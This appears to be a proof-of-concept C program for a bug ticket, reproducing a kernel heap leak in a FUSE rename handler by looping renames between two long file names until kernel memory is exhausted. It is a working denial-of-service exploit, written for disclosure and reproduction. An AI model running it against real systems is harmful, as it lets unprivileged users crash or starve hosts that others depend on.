/*
 * DF-3030 — kernel heap memory leak (M_TEMP) in fuse_vop_nrename.
 *
 * fuse_vnops.c:1219-1227 kmalloc()s `newname` (tncp->nc_nlen + 1 bytes,
 * M_TEMP) on EVERY rename where old != new name, uses it only inside
 * fuse_dbg(), and NEVER frees it.  Each rename(2) therefore permanently
 * leaks ~name-length bytes of kernel heap.  An unprivileged user with
 * write permission on a FUSE mount can loop renames to exhaust kernel
 * memory.
 *
 * usage: rename_leak <dir> <iterations>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

int
main(int argc, char **argv)
{
    char a[4096], b[4096];
    const char *dir;
    long iters, i;
    int fd;

    if (argc != 3) {
        fprintf(stderr, "usage: %s <dir> <iterations>\n", argv[0]);
        return 2;
    }
    dir = argv[1];
    iters = atol(argv[2]);

    /* two long (200-char) names, alternating — every rename allocates */
    snprintf(a, sizeof(a), "%s/leakpad_%s", dir,
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
    snprintf(b, sizeof(b), "%s/leakpad_%s", dir,
        "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
        "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
        "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");

    fd = open(a, O_CREAT | O_RDWR | O_TRUNC, 0644);
    if (fd < 0) { perror("create"); return 1; }
    close(fd);

    for (i = 0; i < iters; i++) {
        if (rename(a, b) != 0) { perror("rename a->b"); return 1; }
        if (rename(b, a) != 0) { perror("rename b->a"); return 1; }
        if ((i % 5000) == 0)
            fprintf(stderr, "iter %ld\n", i);
    }
    unlink(a);
    printf("DONE iters=%ld (each iteration = 2 renames = 2 leaked "
        "M_TEMP allocs of ~264 bytes)\n", iters);
    return 0;
}
